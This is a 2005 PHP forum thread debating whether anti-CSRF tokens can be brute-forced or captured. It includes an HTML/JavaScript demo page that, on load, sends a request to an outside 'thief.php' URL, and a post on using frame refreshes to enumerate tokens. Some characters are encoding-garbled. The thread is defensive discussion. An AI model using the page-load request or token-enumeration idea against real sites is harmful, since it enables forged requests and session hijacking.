Posted: Thu Jul 28, 2005 2:51 pm
Well, you could just bruteforce session tokens instead of passwords.
A community of PHP developers offering assistance, advice, discussion, and friendship.
http://forums.devnetwork.net/
I don't think you understand the nature of CSRF attacks, because this is impractical. The frequency of the attack is out of the attacker's control, and how exactly does the attacker enumerate through MD5s in a practical way? If the latter were a legitimate concern, then session identifier prediction would be a hot topic.Ambush Commander wrote:Well, you could just bruteforce session tokens instead of passwords.
I'm not entirely sure what you're suggesting. Which tab contains which content?nielsene wrote:I'm not a javascripter, but given the tricks I've heard about I would assume it would be possible for a remote code from one tab of a browser to view the source of another tab on that browser and thus get the token out of the source of the form.
I'm not sure what you mean here, either, but it might help to know that the token used to protect against CSRF is only valid once. Thus, any CSRF attack can only target a single victim (greatly mitigating its effectiveness, regardless of everything else) and must do so after the user has received the HTML form and before the user has submitted it. In other words, it limits attacks to a single user, a very small window of time, and requires the capture of the token.neilsene wrote:Or similarly get it out of the cache, etc.
Perhaps this should be a different topic? If so, please start it. :-)nielsene wrote:I'm still interested in the CSRF discussion though, too.
Code: Select all
<!DOCTYPE html PUBLIC "e;-//W3C//DTD XHTML 1.0 Transitional//EN"e; "e;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"e;>
<html>
<head>
<title>Example document</title>
<script>
function getXMLHTTPObject(){
//instantiate new XMLHTTP object
var objhttp=(window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP');
if(!objhttp){return};
// assign event handler
objhttp.onreadystatechange=displayStatus;
return objhttp;
}
function sendRequest(url,data,method,header){
// get XMLHTTP object
objhttp=getXMLHTTPObject();
// set default values
if(!url){url='default_url.htm'};
if(!data){data='defaultdata=defaultvalue'};
if(!method){method='get'};
if(!header){header='Content-Type:text/html; charset=iso-8859-1'};
// open socket connection in asynchronous mode
objhttp.open(method,url,true);
// send header
objhttp.setRequestHeader(header.split(':')ї0],header.split(':')ї1]);
// send data
objhttp.send(data);
// return xmlhttp object
return objhttp;
}
// function displayStatus
function displayStatus(){
if(objhttp.readyState==4){
// create paragraph elements
var parStat=document.createElement('p');
var parText=document.createElement('p');
var parResp=document.createElement('p');
// assign ID attributes
parStat.id='status';
parText.id='text';
parResp.id='response';
// append text nodes
parStat.appendChild(document.createTextNode('Status : '+objhttp.status));
parText.appendChild(document.createTextNode('Status text : '+objhttp.statusText));
parResp.appendChild(document.createTextNode('Document code : '+objhttp.responseText));
// insert <p> elements into document tree
document.body.appendChild(parStat);
document.body.appendChild(parText);
document.body.appendChild(parResp);
}
}
</script>
</head>
<body onload="e;javascript:sendRequest('http://timvw.madoka.be/thief.php')"e;>
<h1>Welcome to our super cool site!</h1>
</body>
</html>Is the frequency truly not under the attackers control? In the example version showed by timvw earlier this thread, there was a set of frames, one of which had the CSRF attack as a frame source. If they had a JS refresh or a meta-refresh on the encasing frames, they could control the frequency, assuming a rather clueless user who didn't care/notice that the page kept reloading. Given a session identifier (for the attack site) its now trivial for them to systematically search through the token space.shiflett wrote:I don't think you understand the nature of CSRF attacks, because this is impractical. The frequency of the attack is out of the attacker's control, and how exactly does the attacker enumerate through MD5s in a practical way? If the latter were a legitimate concern, then session identifier prediction would be a hot topic.Ambush Commander wrote:Well, you could just bruteforce session tokens instead of passwords.